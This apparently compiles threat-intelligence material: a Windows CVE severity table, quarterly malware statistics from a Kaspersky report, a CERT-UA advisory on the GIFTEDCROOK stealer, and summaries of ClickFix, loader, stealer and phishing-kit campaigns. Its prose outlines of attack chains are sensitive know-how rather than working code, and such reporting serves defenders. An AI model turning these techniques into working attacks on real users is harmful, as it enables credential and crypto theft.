CVE-2026-61923	No	No	-	-	Important	7.8	6.8
Windows Encrypting File System (EFS) Information Disclosure Vulnerability
CVE-2026-59128	No	No	-	-	Important	5.5	4.8
Windows Event Logging Service Elevation of Privilege Vulnerability
CVE-2026-59126	No	No	-	-	Important	7.0	6.1
Windows Event Logging Service Information Disclosure Vulnerability
CVE-2026-59137	No	No	-	-	Important	5.5	4.8
CVE-2026-61347	No	No	-	-	Important	5.5	4.8
Windows GDI Information Disclosure Vulnerability
CVE-2026-65662	No	No	-	-	Important	5.5	4.8
CVE-2026-61360	No	No	-	-	Important	5.5	4.8
Windows GDI+ Elevation of Privilege Vulnerability
CVE-2026-62890	No	No	-	-	Critical	7.8	6.8
Windows GDI+ Information Disclosure Vulnerability
CVE-2026-62709	No	No	-	-	Important	5.5	4.8
Windows GDI+ Remote Code Execution Vulnerability
CVE-2026-62822	No	No	-	-	Critical	8.8	7.7
Windows Graphics Kernel Denial of Service Vulnerability
CVE-2026-62702	No	No	-	-	Important	6.8	5.9
Windows Graphics Kernel Elevation of Privilege Vulnerability
CVE-2026-61346	No	No	-	-	Important	7.0	6.1
CVE-2026-62774	No	No	-	-	Important	7.0	6.1
Windows HTTP Protocol Stack Tampering Vulnerability
CVE-2026-62750	No	No	-	-	Important	6.5	5.7
Windows HTTP.sys Elevation of Privilege Vulnerability
CVE-2026-61937	No	No	-	-	Important	7.8	6.8
CVE-2026-62753	No	No	-	-	Important	7.0	6.1
CVE-2026-62735	No	No	-	-	Important	7.8	6.8
CVE-2026-62739	No	No	-	-	Important	7.8	6.8
CVE-2026-62741	No	No	-	-	Important	7.8	6.8
CVE-2026-62811	No	No	-	-	Important	7.8	6.8
Windows Hello Tampering Vulnerability
CVE-2026-61928	No	No	-	-	Important	5.5	4.8
Windows Hyper-V Information Disclosure Vulnerability
CVE-2026-61368	No	No	-	-	Important	5.0	4.4
Windows Imaging Component Information Disclosure Vulnerability
CVE-2026-62740	No	No	-	-	Important	5.5	4.8
Windows Imaging Component Remote Code Execution Vulnerability
CVE-2026-54984	No	No	-	-	Important	7.8	6.8
Windows Installer Elevation of Privilege Vulnerability
CVE-2026-59127	No	No	-	-	Important	7.8	6.8
CVE-2026-61925	No	No	-	-	Important	7.8	6.8
CVE-2026-70344	No	No	-	-	Important	7.8	6.8
CVE-2026-70345	No	No	-	-	Important	7.8	6.8
CVE-2026-70346	No	No	-	-	Important	7.8	6.8
CVE-2026-70347	No	No	-	-	Important	7.8	6.8
CVE-2026-61938	No	No	-	-	Important	7.0	6.1
CVE-2026-62768	No	No	-	-	Important	7.8	6.8
CVE-2026-65774	No	No	-	-	Important	7.8	6.8
Windows Kerberos Elevation of Privilege Vulnerability
CVE-2026-62754	No	No	-	-	Important	7.8	6.8
CVE-2026-62766	No	No	-	-	Important	7.0	6.1
CVE-2026-62773	No	No	-	-	Important	7.0	6.1
CVE-2026-62752	No	No	-	-	Important	7.8	6.8
Windows Kernel Elevation of Privilege Vulnerability
CVE-2026-61930	No	No	-	-	Important	7.8	6.8
CVE-2026-62737	No	No	-	-	Important	7.8	6.8
CVE-2026-61929	No	No	-	-	Important	7.0	6.1
CVE-2026-62708	No	No	-	-	Important	6.4	5.6
CVE-2026-62749	No	No	-	-	Important	7.0	6.1
CVE-2026-62780	No	No	-	-	Important	7.0	6.1
CVE-2026-62788	No	No	-	-	Important	7.0	6.1
CVE-2026-65773	No	No	-	-	Important	7.8	6.8
Windows Key Guard Elevation of Privilege Vulnerability
CVE-2026-66799	No	No	-	-	Critical	7.8	6.8
Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability
CVE-2026-62785	No	No	-	-	Important	8.8	7.7
CVE-2026-62795	No	No	-	-	Important	8.8	7.7
Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability
CVE-2026-50472	No	No	-	-	Important	7.0	6.1
Windows License Manager Elevation of Privilege Vulnerability
CVE-2026-62777	No	No	-	-	Important	7.8	6.8
Windows MIDI Service Module Elevation of Privileges Vulnerability
CVE-2026-62688	No	No	-	-	Important	7.8	6.8
CVE-2026-62693	No	No	-	-	Important	7.0	6.1
Windows Management Instrumentation Information Disclosure Vulnerability
CVE-2026-62738	No	No	-	-	Important	5.5	4.8
Windows Management Services Denial of Service Vulnerability
CVE-2026-70348	No	No	-	-	Important	5.5	4.8
Windows Message Queuing Elevation of Privilege Vulnerability
CVE-2026-62719	No	No	-	-	Important	7.8	6.8
CVE-2026-62717	No	No	-	-	Important	7.8	6.8
CVE-2026-65790	No	No	-	-	Important	7.8	6.8
Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability
CVE-2026-62707	No	No	-	-	Important	7.8	6.8
Windows NTFS Elevation of Privilege Vulnerability
CVE-2026-62797	No	No	-	-	Important	7.8	6.8
CVE-2026-62700	No	No	-	-	Important	7.8	6.8
CVE-2026-62880	No	No	-	-	Important	7.8	6.8
Windows NTFS Information Disclosure Vulnerability
CVE-2026-61350	No	No	-	-	Important	4.6	4.0
CVE-2026-62796	No	No	-	-	Important	5.5	4.8
CVE-2026-65784	No	No	-	-	Important	5.5	4.8
CVE-2026-62793	No	No	-	-	Important	5.5	4.8
CVE-2026-62887	No	No	-	-	Important	5.5	4.8
Windows Narrator Braille Elevation of Privilege Vulnerability
CVE-2026-56174	No	No	-	-	Important	7.8	6.8
Windows Network Address Translation (NAT) Spoofing Vulnerability
CVE-2026-56179	No	No	-	-	Moderate	8.3	7.2
Windows Network Connection Broker Elevation of Privilege Vulnerability
CVE-2026-61366	No	No	-	-	Important	7.0	6.1
Windows Network File System Denial of Service Vulnerability
CVE-2026-68819	No	No	-	-	Important	5.9	5.2
Windows Package Manager Elevation of Privilege Vulnerability
CVE-2026-68821	No	No	-	-	Important	7.3	6.4
Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability
CVE-2026-62696	No	No	-	-	Important	7.8	6.8
Windows Projected File System Elevation of Privilege Vulnerability
CVE-2026-62751	No	No	-	-	Important	7.8	6.8
Windows Push Notifications Elevation of Privilege Vulnerability
CVE-2026-62690	No	No	-	-	Important	7.0	6.1
Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability
CVE-2026-62816	No	No	-	-	Critical	8.8	7.7
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
CVE-2026-62783	No	No	-	-	Important	7.8	6.8
CVE-2026-62758	No	No	-	-	Important	7.8	6.8
Windows Remote Desktop Client Information Disclosure Vulnerability
CVE-2026-61924	No	No	-	-	Important	6.5	5.7
CVE-2026-61918	No	No	-	-	Important	6.5	5.7
CVE-2026-61921	No	No	-	-	Important	6.5	5.7
Windows Remote Desktop Services Elevation of Privilege Vulnerability
CVE-2026-61356	No	No	-	-	Important	7.8	6.8
CVE-2026-61367	No	No	-	-	Important	7.8	6.8
CVE-2026-62692	No	No	-	-	Important	7.8	6.8
CVE-2026-61364	No	No	-	-	Important	7.8	6.8
CVE-2026-61365	No	No	-	-	Important	7.8	6.8
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
CVE-2026-62819	No	No	-	-	Critical	8.1	7.1
Windows SMB Client Elevation of Privilege Vulnerability
CVE-2026-62799	No	No	-	-	Important	7.8	6.8
Windows SMB Client Information Disclosure Vulnerability
CVE-2026-62782	No	No	-	-	Important	6.5	5.7
CVE-2026-65794	No	No	-	-	Important	6.5	5.7
Windows SMBv3 Server Remote Code Execution Vulnerability
CVE-2026-62800	No	No	-	-	Important	8.8	7.7
CVE-2026-62790	No	No	-	-	Important	8.8	7.7
Windows Schannel Elevation of Privilege Vulnerability
CVE-2026-62779	No	No	-	-	Important	7.8	6.8
Windows Schannel Security Feature Bypass Vulnerability
CVE-2026-62757	No	No	-	-	Important	5.3	4.6
Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability
CVE-2026-62889	No	No	-	-	Critical	8.1	7.1
Windows Sensor Data Service Elevation of Privilege Vulnerability
CVE-2026-61355	No	No	-	-	Important	7.8	6.8
Windows Shell Elevation of Privilege Vulnerability
CVE-2026-62770	No	No	-	-	Important	7.8	6.8
Windows Storage Elevation of Privilege Vulnerability
CVE-2026-62695	No	No	-	-	Important	7.8	6.8
CVE-2026-61359	No	No	-	-	Important	7.8	6.8
Windows TCP/IP Denial of Service Vulnerability
CVE-2026-59132	No	No	-	-	Important	7.5	6.5
Windows TCP/IP Remote Code Execution Vulnerability
CVE-2026-62792	No	No	-	-	Important	8.1	7.1
Windows Telephony Service Elevation of Privilege Vulnerability
CVE-2026-61353	No	No	-	-	Important	7.8	6.8
CVE-2026-62723	No	No	-	-	Important	7.0	6.1
CVE-2026-62724	No	No	-	-	Important	7.0	6.1
CVE-2026-62748	No	No	-	-	Important	7.0	6.1
CVE-2026-62729	No	No	-	-	Important	7.0	6.1
CVE-2026-59122	No	No	-	-	Important	7.0	6.1
CVE-2026-62701	No	No	-	-	Important	7.8	6.8
CVE-2026-62725	No	No	-	-	Important	7.0	6.1
CVE-2026-62726	No	No	-	-	Important	7.0	6.1
CVE-2026-62732	No	No	-	-	Important	7.8	6.8
CVE-2026-62734	No	No	-	-	Important	7.0	6.1
Windows USB Driver Elevation of Privilege Vulnerability
CVE-2026-61926	No	No	-	-	Important	7.8	6.8
Windows Universal Disk Format File System Driver (UDFS) Remote Code Execution Vulnerability
CVE-2026-62699	No	No	-	-	Important	6.8	5.9
Windows User Profile Service Elevation of Privilege Vulnerability
CVE-2026-62832	Yes	No	-	-	Important	7.8	6.8
Windows User-Mode Power Service (UMPS) Elevation of Privilege Vulnerability
CVE-2026-62721	No	No	-	-	Important	7.8	6.8
Windows Win32k Elevation of Privilege Vulnerability
CVE-2026-62712	No	No	-	-	Important	7.8	6.8
CVE-2026-62876	No	No	-	-	Important	7.8	6.8
CVE-2026-62877	No	No	-	-	Important	7.8	6.8
CVE-2026-65678	No	No	-	-	Important	7.0	6.1
CVE-2026-62711	No	No	-	-	Important	7.8	6.8
CVE-2026-62733	No	No	-	-	Important	7.8	6.8
CVE-2026-62885	No	No	-	-	Important	7.8	6.8
CVE-2026-65775	No	No	-	-	Important	7.8	6.8
CVE-2026-65776	No	No	-	-	Important	7.0	6.1
Windows Wired AutoConfig Service Information Disclosure Vulnerability
CVE-2026-62730	No	No	-	-	Important	5.5	4.8
Windows Work Folder Service Elevation of Privilege Vulnerability
CVE-2026-61349	No	No	-	-	Important	7.8	6.8
Windows iSCSI Target Service Denial of Service Vulnerability
CVE-2026-65681	No	No	-	-	Important	7.5	6.5
CVE-2026-65796	No	No	-	-	Important	5.9	5.2
Windows iSCSI Target Service Remote Code Execution Vulnerability
CVE-2026-65679	No	No	-	-	Important	8.1	7.1
CVE-2026-65791	No	No	-	-	Critical	9.8	8.5
Winlogon Elevation of Privilege Vulnerability
CVE-2026-61939	No	No	-	-	Important	7.0	6.1

IMAGES

The mobile section of the quarterly cyberthreat report includes statistics on malware, adware, and potentially unwanted software for Android, as well as descriptions of the most notable threats for Android and iOS discovered during the reporting period. These statistics are based on detection alerts from Kaspersky products, collected from users who consented to provide statistical data to Kaspersky Security Network.

More than 1.99 million attacks on mobile devices utilizing malware, adware, or unwanted mobile software were blocked.
The Trojan-Banker category was the most prevalent mobile malware threat with a 30.77% share of total detected applications.
More than 304,000 malicious installation packages were discovered, including:
93,574 packages were related to mobile banking Trojans;
570 packages were related to mobile ransomware Trojans.
Quarterly highlights
Attacks on mobile devices involving malware, adware, or unwanted software continued their downward trend, falling to 1,996,823 in Q2 from 2,676,328 the previous quarter.

We noted a downward trend in attacks driven by specific strains of pre-installed Trojans — a shift likely tied to the rollout of patched vendor firmware.

In Q2, our telemetry uncovered multiple malicious loaders hosted directly on Google Play. As highlighted in a prior report (link in Russian), one such instance involved a PDF reader app trojanized to drop the Anatsa banking malware. Upon execution, the app presented users with a fake request to install an update, which served as a front to stage the banking Trojan on the victim’s device.

Another notable case involves a loader we detected in the Cleanova app alongside several others. The malware sent requests to a command-and-control server containing telemetry gathered from various SDKs that track the installation source. A malicious payload was returned only for certain sources. This is a fairly interesting method for bypassing app store review processes while ensuring precise victim targeting. If an analytics SDK indicates that an arbitrary installation originated from a source outside the threat actors’ scope, the malicious logic remains dormant. This effectively hides the malware from app store scanners.

Mobile threat statistics
In Q2, the number of Android malware samples totaled 304,128. It remained steady compared to the previous reporting period.

Detected malicious and potentially unwanted installation packages, Q2 2025 — Q2 2026 (download)

* Data for the previous quarter may differ slightly from previously published data due to certain verdicts being retrospectively revised.

While the number of newly discovered banking Trojan variants fell precipitously, they continued to dominate the threat landscape as they did in Q1. Notably, the share of Creduz malware family among identified banking samples has grown significantly despite low activity in victim telemetry. This discrepancy suggests the threat actors are actively iterating on the malware — likely testing new features or bypasses — by generating a high volume of builds before staging a broader campaign.

Share* of users attacked by the given type of malicious or potentially unwanted apps out of all targeted users of Kaspersky mobile products, Q1 — Q2 2026 (download)

* The total may exceed 100% if the same users experienced multiple attack types.

Within the adware category, the sharpest declines were observed in the HiddenAd and MobiDash families. Meanwhile, the proportion of users targeted by Trojan-Dropper malware increased, primarily driven by surges in banking droppers such as Trojan-Dropper.AndroidOS.Banker and Trojan-Dropper.AndroidOS.Mamont. The corresponding drop in the Trojan-Banker category is partially explained by a shift in tactics: several banking Trojans which are now being packed were subsequently reclassified as droppers.

TOP 20 most frequently detected types of mobile malware
Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.

Verdict %* Q1 2026 %* Q2 2026 Difference in p.p. Change in ranking
Backdoor.AndroidOS.Triada.ag 7.09 9.35 +2.25 0
DangerousObject.Multi.Generic. 5.84 5.65 -0.19 0
DangerousObject.AndroidOS.GenericML. 5.51 5.25 -0.26 0
Trojan.AndroidOS.Boogr.gsh 2.15 3.33 +1.18 +9
Backdoor.AndroidOS.Triada.z 3.08 3.23 +0.15 +3
Trojan-Banker.AndroidOS.Mamont.hl 1.10 2.48 +1.38 +22
Trojan.AndroidOS.Fakemoney.v 3.44 2.31 -1.13 -2
Trojan-Spy.AndroidOS.Btmob.e 0.00 2.27 +2.27
Trojan.AndroidOS.Triada.fe 2.98 2.18 -0.81 0
Trojan-Dropper.AndroidOS.Banker.dd 0.01 2.16 +2.15
Trojan.AndroidOS.Triada.hf 2.23 1.93 -0.29 +1
Backdoor.AndroidOS.Triada.ad 1.40 1.93 +0.53 +8
Backdoor.AndroidOS.Keenadu.a 2.73 1.88 -0.85 -3
Backdoor.AndroidOS.Triada.ab 1.72 1.79 +0.07 +2
Trojan-Banker.AndroidOS.Mamont.iv 1.03 1.63 +0.60 +16
Trojan.AndroidOS.Generic. 1.32 1.47 +0.15 +7
Backdoor.AndroidOS.Triada.ae 1.76 1.44 -0.31 -2
Trojan.AndroidOS.Fakemoney.ej 0.00 1.43 +1.43
Trojan.AndroidOS.Triada.ii 2.07 1.41 -0.66 -5
Trojan-Spy.AndroidOS.Agent.asa 0.02 1.38 +1.36
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The distribution of top malware families in Q2 largely mirrors the rankings from the previous reporting period. Newer variants of the Mamont banking Trojan climbed the leaderboards, displacing older iterations. This shift points to ongoing, active development of new variants by the threat actors behind the malware.

Mobile banking Trojans
In Q2, the total volume of Trojan-Banker applications dropped sharply compared to the previous quarter, totaling 93,574 installation packages.

Number of installation packages for mobile banking Trojans detected by Kaspersky, Q2 2025 — Q2 2026 (download)

Against the backdrop of this trend, the distribution shifted heavily toward Creduz Trojans. However, as noted earlier, this shift was not reflected in real-world attack metrics: virtually the entire leaderboard by proportion of targeted users continues to be dominated by diverse Mamont variants.

TOP 10 mobile bankers
Verdict %* Q1 2026 %* Q2 2026 Difference in p.p. Change in ranking
Trojan-Banker.AndroidOS.Mamont.hl 3.27 11.13 +7.86 +6
Trojan-Banker.AndroidOS.Mamont.iv 3.08 7.33 +4.25 +6
Trojan-Banker.AndroidOS.Mamont.mv 0.00 5.12 +5.12
Trojan-Banker.AndroidOS.Agent.ws 3.78 4.99 +1.22 +2
Trojan-Banker.AndroidOS.Mamont.mg 0.35 4.71 +4.36 +62
Trojan-Banker.AndroidOS.Faketoken.pac 2.56 4.10 +1.54 +6
Trojan-Banker.AndroidOS.Mamont.jo 15.75 3.73 -12.02 -6
Trojan-Banker.AndroidOS.Mamont.mc 0.83 3.51 +2.67 +26
Trojan-Banker.AndroidOS.Mamont.lf 0.00 2.79 +2.79
Trojan-Banker.AndroidOS.Agent.eq 0.89 2.58 +1.69 +23
* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.

Quarterly figures

Ransomware

Quarterly trends and highlights

Threat actor disruption

Microsoft has dismantled an illicit malware-signing service used by ransomware operators. Microsoft’s Digital Crimes Unit has shut down a malware-signing-as-a-service (MSaaS) operation run by the threat group Fox Tempest. The illicit service abused the Microsoft Artifact Signing platform to generate digital signature certificates for malicious software. Malware signed by these certificates was observed in campaigns conducted by such ransomware groups as Rhysida, Akira, INC, Qilin, and BlackByte. The service was also leveraged by operators of the Oyster loader as well as the Lumma and Vidar infostealers. To disrupt the operation, Microsoft seized the domain used by the MSaaS platform, revoked all associated certificates, and disabled the related accounts. Additionally, the company filed a lawsuit against Fox Tempest.

Vulnerabilities and attacks

CISA has confirmed that a Windows vulnerability known as BlueHammer is actively being exploited in ransomware attacks. On April 22, the agency updated its Known Exploited Vulnerabilities (KEV) catalog to note the ongoing ransomware exploitation of CVE-2026-33825. The local privilege escalation flaw in Microsoft Defender was originally disclosed earlier in April. Although Microsoft released a fix on April 14, unpatched systems remain vulnerable. CISA did not disclose further details or attribute the attacks to specific threat groups.

Check Point has linked zero-day exploitation of CVE-2026-50751 to the Qilin ransomware group. The critical vulnerability affects Check Point Remote Access VPN and Mobile Access. Attackers began exploiting the flaw as a zero-day on May 7, with activity spiking sharply in early June. While several dozen organizations have been targeted, at least one incident has been definitively tied to Qilin. Check Point also disclosed a related certificate validation flaw (CVE-2026-50752) that affects site-to-site VPN connections relying on the legacy IKEv1 key exchange protocol.

Researchers assess with high confidence that the PayoutsKing group is leveraging the legitimate QEMU emulator to deploy hidden, Alpine Linux-based virtual machines on compromised hosts. Because security solutions often lack visibility inside virtualized environments, the threat actors use this technique to evade detection. Inside the VM image, the operators deploy various tools — such as credential theft software — and configure the virtual machine as a backdoor managed via a reverse SSH tunnel to their command-and-control infrastructure. While the technique is not new, and we’ve detailed it before, it remains relatively rare in ransomware attacks.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. Qilin reclaimed the top spot (accounting for 14.57% of total listings) after placing second last quarter. It is followed by the Akira ransomware (7.80%) and the DragonForce RaaS group (6.88%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period ()

Number of new ransomware variants

In Q2, Kaspersky solutions detected four new ransomware families and 2538 new modifications. This signals a continued stabilization following spikes seen in Q1 and Q4 of last year.

Number of users attacked by ransomware Trojans

Our solutions protected a total of 71,860 unique users from ransomware during Q2. Ransomware activity peaked in April, with 31,206 targeted users recorded during that month.

TOP 10 countries and territories attacked by ransomware Trojans

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new miner variants

In Q2 2026, Kaspersky solutions detected 6067 new miner variants, almost twice the number for the previous reporting period.

Number of users attacked by miners

In Q2, we detected attacks using miner programs on the computers of 213,003 unique Kaspersky users worldwide.

TOP 10 countries and territories attacked by miners

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

Quarterly highlights

In April, Aikido researchers reported a new attack by the GlassWorm stealer, which was distributed via malicious IDE extensions on the Open VSX Registry. The payload operated by installing a secondary malicious extension across all installed IDE environments on the host machine. Ultimately, this second-stage implant exfiltrated crypto wallet data, environment variables, and other secrets. It also installed a RAT on the infected device.

In May, Socket researchers uncovered a supply chain compromise involving the popular npm package art-template. As a result of the breach, the weaponized package injected the Coruna exploit kit into web applications it was used to build. Coruna targets iOS devices.

In June, Palo Alto Networks’ Unit 42 discovered FlutterShell, a new backdoor family that targets macOS devices. Developed with the Flutter framework, the malware leverages the WebView engine to load web pages that contain malicious JavaScript. On the client side, the backdoor registers bridge functions invoked by the loaded JavaScript that allow threat actors to execute arbitrary payloads on the victim’s device. Notably, the malicious applications successfully passed Apple notarization. Although the specific samples analyzed functioned primarily as adware, the underlying architecture permits the delivery of far more sophisticated malicious payloads.

TOP 20 threats to macOS

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS ()

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

Detections of PasivRobber spyware continued their downward trend. Meanwhile, adware and traffic-routing utilities (categorized as NetTool) rose to the top of the rankings. Additionally, Q2 saw a noticeable spike in detections for the DirtyCow exploit frequently leveraged for iPhone jailbreaking.

TOP 10 countries and territories by share of attacked users

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q2 2026, the breakdown of attacking devices and sessions that targeted Kaspersky honeypots by protocol was as follows:

Distribution of attacked services by number of unique IP addresses of attacking devices ()

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered ()

As is typically the case, Mirai botnet variants continue to dominate the IoT threat landscape. Activity of another prominent botnet, Prometei, also saw an increase.

Attacks on IoT honeypots

the Netherlands, Germany, and The United States accounted for the highest proportions of SSH-based attacks during this period. While the top three countries remained the same as last quarter, their relative rankings shifted.

The percentage of Telnet-based attacks originating from Pakistan continued to climb, knocking China down to second place.

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malware, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q2 2026, Kaspersky solutions blocked 399,312,961 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 52,850,592 unique URLs.

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.54% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q2 2026, our File Anti-Virus detected 16,986,351 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. These statistics reflect the level of personal computer infection in different countries.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 10.93% of users’ computers during Q2.

Targeted espionage activity UAC-0226 against innovation centers, government and law enforcement agencies using the GIFTEDCROOK stealer (CERT-UA#14303)

The Ukrainian government's computer emergency response team, CERT-UA, has been monitoring targeted activity for the purpose of espionage against centers of innovation development in the military sector, military formations, Ukrainian law enforcement agencies, and local governments, especially those located along the country's eastern border, since February 2025.

The initial compromise is achieved by distributing emails with attachments in the form of XLS documents with macros (extension ".xlsm"), the names/topics of which may relate to issues of demining the territory, administrative fines, UAV production, compensation for destroyed property, etc. In this case, the "payload" is presented in the form of base64-encoded strings stored in Excel spreadsheet cells. The mentioned macro provides conversion (decoding) of base64-encoded strings into executable files, their saving to the computer without extension (!) and subsequent launch.

As of April 2025, two types of software tools for implementing the cyber threat are known. The first is a .NET program, the resources of which contain a PowerShell script, which is functionally a reverse-shell borrowed from the public GitHub repository PSSW100AVB. The second, classified as GIFTEDCROOK, is a C/C++ stealer program that, among other things, provides access to the databases of Internet browsers Chrome, Edge, Firefox (Cookies, history, saved authentication data), their archiving using the PowerShell cmdlet Compress-Archive, and subsequent exfiltration to Telegram.

Thanks to the coordinated work of cyber defense entities, in particular, the prompt exchange of information, effective response measures are taken for each of the similar cyber incidents of CERT-UA. In case of detection of signs of cyber attacks, please inform us immediately by any of the available means of communication.

Please note that emails are being sent using compromised accounts, including via the web interface. In this regard, we ask system administrators to separately check the availability, completeness, and depth of mail and web server logs.

Researchers at SOCRadar's Threat Research Unit recently reported on DOUBLECUP, a Russian Loader-as-a-Service platform built for ClickFix-style social engineering campaigns and active since early June 2026. Operators license access to a client panel and embed DOUBLECUP's front-end logic into lure pages, including sites spoofing NetSuite, Odoo, HubSpot, and Salesforce login portals. Victims are tricked into pasting a clipboard-hijacked command that retrieves hidden code from a steganographic PNG cached by the browser, which then decrypts and loads a final payload in memory using a key derived from the victim's own public IP address, a technique intended to frustrate sandbox analysis. The service has been observed delivering an updated, fileless PowerShell build of CountLoader, a companion Mach-O variant for macOS, and a previously undocumented modular RAT called DeviceManager. DeviceManager is notable for resolving its command-and-control infrastructure through Ethereum and Polygon smart contracts (EtherHiding) and communicating over DNS tunneling or HTTP, making its infrastructure resilient to conventional takedown and blocklisting efforts.

In a recent write-up, Huntress details a macOS stealer malware campaign that uses ClickFix social engineering tricks to compromise Apple systems and siphon cryptocurrency wallets. Initiated through malicious links in email messages, the attack presents victims with a fake CAPTCHA window instructing them to paste a shell command into the macOS Terminal. The command fetches a profiling script that gathers hardware details, checks CPU architecture, and creates a masqueraded cache folder. It then downloads an architecture-matched Go-compiled Mach-O binary, removes Gatekeeper quarantine attributes, and executes the payload. Beyond harvesting browser password stores and Apple Keychain data, the stealer actively inspects crypto wallets to drain held funds into threat-actor-controlled accounts.

Dubbed Vanta Stealer, a Python-based information stealer has been analyzed by the Lat61 Threat Intelligence Team, who describe it as a PyInstaller-packaged Windows executable with PyArmor-obfuscated bytecode protecting its core logic. The researchers note the sample itself gives no indication of how it reaches victims, but assess that social engineering is the likely route — phishing attachments, cracked or trojanized installers, fake software updates, game cheats and mods, malicious code repositories, and SEO poisoning or malvertising.

Rather than building browser credential theft into the payload, the stealer pulls down a separate extraction component when it runs — a modular design that lets the operators refresh browser support without rebuilding the malware. Alongside browser passwords, cookies and stored payment data, it queries the Discord API with each token it finds, pulling back the account's email, user ID, server admin rights, Nitro status and any saved payment methods, turning a raw token into a triage-ready victim profile. Additional modules target Steam, Roblox, Valorant, Telegram, Minecraft, Mullvad VPN configurations, cryptocurrency wallet files, screenshots, webcam captures, and local documents containing wallet recovery phrases or private keys. A Summary.txt inventory is generated before all artifacts are bundled into a ZIP archive and uploaded to a command-and-control endpoint via HTTP POST alongside victim metadata.

Attack chain decomposition: Social Engineering (Phishing / Trojanized Download) → PyInstaller-Packaged Executable → PyArmor-Obfuscated Python Payload → Runtime Retrieval of Browser Extractor Module → Credential, Token & Wallet Harvesting → Summary Generation → ZIP Archive Creation → HTTP POST Exfiltration to C2

In a recent write-up, ZeroBEC details a campaign utilizing the Greatness phishing-as-a-service (PhaaS) platform, tracked under the HoneyStorm tag by URLQuery. This evolving threat integrates adversary-in-the-middle (AiTM) token theft, device code phishing, and OAuth consent abuse into a centralized toolkit targeting Microsoft 365, iCloud, Yahoo, and Google Workspace. According to their findings, recent operations—consistent with the platform's documented targeting of the financial sector—initiated attacks using fabricated RingCentral voicemail and performance appraisal notifications.

Users who interacted with the lure were routed through a multi-stage redirect chain incorporating click-tracking services, anti-debugging redirectors, and bot detection gates before reaching either an AiTM proxy replicating the target's genuine tenant branding, or a device code phishing page themed around document sharing. The platform captures authentication tokens that have already satisfied multi-factor authentication, enabling threat actors to replay these tokens through commercial VPN infrastructure and achieve unauthorized access to corporate tenants.

Attack chain decomposition: Spoofed voicemail email → Malicious URL → Click-tracking redirect → Anti-analysis redirector with bot detection → Human verification gate → Greatness AiTM phishing domain or device code lure → Token capture via backend proxy → Benign decoy document redirection → Token replay via commercial VPN → Graph API enumeration and M365 access

